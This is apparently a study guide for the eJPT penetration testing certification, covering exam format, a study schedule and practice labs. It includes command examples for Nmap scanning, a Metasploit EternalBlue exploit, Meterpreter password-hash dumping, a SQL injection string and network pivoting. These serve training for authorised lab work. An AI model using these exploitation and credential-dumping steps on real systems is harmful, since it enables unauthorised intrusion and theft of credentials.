The eJPT (eLearnSecurity Junior Penetration Tester) is widely considered the best entry-level penetration testing certification available. Offered by INE Security (formerly eLearnSecurity), it’s a fully hands-on, practical exam with no multiple-choice questions — you compromise real machines in a live network environment and answer questions based on your findings. If you’re just getting into ethical hacking and want a credential that proves real skills, eJPT is the place to start.
Why eJPT?
Before choosing a certification, it’s worth understanding what makes eJPT stand out:
- Fully practical exam — you perform real attacks against a real lab network
- Beginner-friendly — no experience required, but you need foundational networking knowledge
- Affordable — significantly cheaper than OSCP or CEH
- Respected — recognized by employers as proof of hands-on skills, not just memorized theory
- No expiration — once you pass, the cert is permanent (though re-sitting for updated versions is available)
The exam costs $200 USD and gives you 48 hours to complete it. That’s more than enough time for most candidates who have studied properly.
The eJPT exam places you inside a VPN-connected lab environment and asks you to answer 35 questions. These questions are answered by actually compromising hosts in the network, not by theory. Example question types:
- “What is the hostname of the machine at 192.168.X.X?”
- “What is the password for the user found on Machine B?”
- “What flag is located at /root/flag.txt on the target?”
- “How many open ports does the web server have?”
You need a 70% passing score (25 out of 35 questions). Questions have varying point values, so prioritize the higher-point items.
Prerequisites and Study Path
eJPT doesn’t have formal prerequisites, but you should be comfortable with:
- Basic Linux command line
- Networking concepts (IP, TCP/UDP, DNS, HTTP)
- How to use a terminal and basic tools
The INE Starter Pass
INE offers a free Starter Pass that includes the “Penetration Testing Student” (PTS) learning path — the official study course for eJPT. This course alone is sufficient to pass the exam if you work through it thoroughly. Go to ine.com and create a free account.
The PTS course covers:
- Networking fundamentals (TCP/IP, Wireshark, routing)
- Web application basics (HTTP, OWASP Top 10 concepts)
- Information gathering (Nmap, Maltego, passive recon)
- Exploitation (Metasploit Framework, manual exploitation)
- Post-exploitation (privilege escalation basics, pivoting)
Work through all the lab exercises — they’re critical. Watching videos without doing labs leads to exam failure.
Key Skills to Master
Network Scanning with Nmap
You’ll absolutely need Nmap. Know these core scans:
# TCP SYN scan all ports
nmap -sS -p- -T4 192.168.1.0/24
# Service and version detection
nmap -sV -sC 192.168.1.10
# OS detection
nmap -O 192.168.1.10
# Save output
nmap -sV -oN scan_results.txt 192.168.1.10
Metasploit is the backbone of the eJPT exam. You need to know:
# Start Metasploit
msfconsole
# Search for exploits
search eternalblue
# Use a module
use exploit/windows/smb/ms17_010_eternalblue
# Set options
set RHOSTS 192.168.1.10
set LHOST 192.168.1.5
# Run
exploit
After getting a Meterpreter shell:
sysinfo # Get system info
getuid # Current user
shell # Drop to a system shell
search -f *.txt # Find text files
hashdump # Dump password hashes
Web Application Testing
Know how to:
- Use Burp Suite to intercept and modify requests
- Identify and test for SQL injection manually (
' OR 1=1--)
- Test for directory traversal
- Read cookies and session tokens
Pivoting and Routing
The eJPT exam often has multiple network segments. You need to pivot through compromised hosts to reach others:
# In Meterpreter
run autoroute -s 10.10.10.0/24
background
# Set up a SOCKS proxy through the pivot
use auxiliary/server/socks_proxy
set SRVPORT 1080
run
# Use proxychains to route traffic
proxychains nmap -sT 10.10.10.20
Study Schedule (4 Weeks)
Week 1: Foundations
- Complete the Networking and Web fundamentals sections of PTS
- Practice Wireshark packet analysis
- Install and configure Kali Linux in VirtualBox
Week 2: Information Gathering
- Master Nmap scanning techniques
- Practice with HackTheBox Starting Point machines
- Learn Metasploit basics
Week 3: Exploitation
- Work through all Metasploit labs in PTS
- Practice exploiting Metasploitable 2 in your local lab
- Learn manual exploitation for common vulnerabilities (SMB, FTP, SSH)
Week 4: Review and Practice
- Redo all INE labs
- Tackle 2–3 TryHackMe learning paths (Jr Penetration Tester path is perfect)
- Read through your notes and practice Nmap + Metasploit from memory
Free Practice Resources
- TryHackMe — “Jr Penetration Tester” path maps almost perfectly to eJPT topics
- HackTheBox Starting Point — free beginner machines
- Metasploitable 2 — deliberately vulnerable Linux VM for local practice
- DVWA — Damn Vulnerable Web Application for web testing practice
Exam Day Tips
- Take notes throughout — document every IP, open port, found credential, and flag
- Start with host discovery — map the entire network before touching anything
- Read each question carefully — some answers require specific output from specific commands
- Don’t get stuck — if one path isn’t working, move to other questions and come back
- Time is generous — 48 hours is plenty; don’t rush
The eJPT is an excellent foundation for OSCP, CEH, or CompTIA Security+. Passing it proves you can operate basic pentesting tools in a real environment — a meaningful differentiator when applying for your first security role.